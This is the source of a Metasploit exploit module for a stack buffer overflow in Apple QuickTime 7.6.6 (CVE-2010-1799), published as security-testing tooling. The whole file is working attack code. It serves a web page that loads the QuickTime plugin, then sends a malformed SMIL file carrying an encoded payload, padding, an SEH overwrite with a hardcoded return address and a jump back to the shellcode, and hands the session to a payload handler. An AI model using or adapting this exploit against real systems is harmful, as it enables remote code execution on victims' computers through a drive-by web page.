Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow



##

# $Id: apple_quicktime_smil_debug.rb 11513 2011-01-08 00:25:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking # needs more testing/targets to be Great

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Seh

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :os_name    => OperatingSystems::WINDOWS,
        :javascript => true,
        :rank       => NormalRanking, # reliable memory corruption
        :vuln_test  => nil,
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in Apple QuickTime
                7.6.6. When processing a malformed SMIL uri, a stack-based buffer
                overflow can occur when logging an error message.
            },
            'Author'         =>
                [
                    'Krystian Kloskowski',  # original discovery
                    'jduck'                 # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11513 $',
            'References'     =>
                [
                    [ 'CVE', '2010-1799' ],
                    [ 'OSVDB', '66636'],
                    [ 'BID', '41962' ],
                    [ 'URL', 'http://secunia.com/advisories/40729/' ],
                    [ 'URL', 'http://support.apple.com/kb/HT4290' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'    => 640, # 716 - 63 - 8 - 5
                    'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
                },
            'Platform' => 'win',
            'Targets'  =>
                [
                    #[ 'Automatic', { } ],
                    [ 'Apple QuickTime Player 7.6.6',
                        {
                            'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Aug 12 2010',
            'DefaultTarget'  => 0))
    end

    def on_request_uri(client, request)

        return if ((p = regenerate_payload(client)) == nil)

        if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
            print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")
            print_status("Trying target #{target.name}...")

            # This is all basically filler on the browser target because we can't
            # expect the SEH to be in a reliable place across multiple browsers.
            # Heap spray ftw.

            off = 716
            start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"

            scheme = rand_text_alphanumeric(5)

            sploit = ''
            sploit << scheme
            sploit << "://"

            # payload
            sploit << p.encoded

            # pad to SEH
            sploit << rand_text_english(off - sploit.length - start.length)

            # seh frame
            sploit << generate_seh_record(target.ret)

            # jmp back to payload
            distance = off + 8 - (8 + start.length)
            sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

            # force exception while writing
            sploit << rand_text(1024) * 15

            smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
<body>
<img src="#{sploit}" />
</body>
</smil>
|
            send_response(client, smil, { 'Content-Type' => "application/smil" })

        else
            print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")

            shellcode = Rex::Text.to_unescape(p.encoded)
            url =  ((datastore['SSL']) ? "https://" : "http://")
            url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
            url << ":" + datastore['SRVPORT']
            url << get_resource

            fname = rand_text_alphanumeric(4)

            content =  "<html><body>"
            content << <<-ENDEMBED
                    <OBJECT
                    CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
                    WIDTH="1"
                    HEIGHT="1"
                    CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
                    <PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
                    <PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
                    <PARAM name="AUTOPLAY"   VALUE = "true"               >
                    <PARAM name="TYPE"       VALUE = "video/quicktime"    >
                    <PARAM name="TARGET"     VALUE = "myself"             >
                    <EMBED
                        SRC        = "#{url}/#{fname}.qtl"
                        QTSRC      = "#{url}/#{fname}.qtl"
                        TARGET     = "myself"
                        WIDTH      = "1"
                        HEIGHT     = "1"
                        AUTOPLAY   = "true"
                        PLUGIN     = "quicktimeplugin"
                        TYPE       = "video/quicktime"
                        CACHE      = "false"
                        PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
                    </EMBED>
                    </OBJECT>
                ENDEMBED
            content << "</body></html>"

            send_response(client, content, { 'Content-Type' => "text/html" })
        end

        # Handle the payload
        handler(client)
    end

end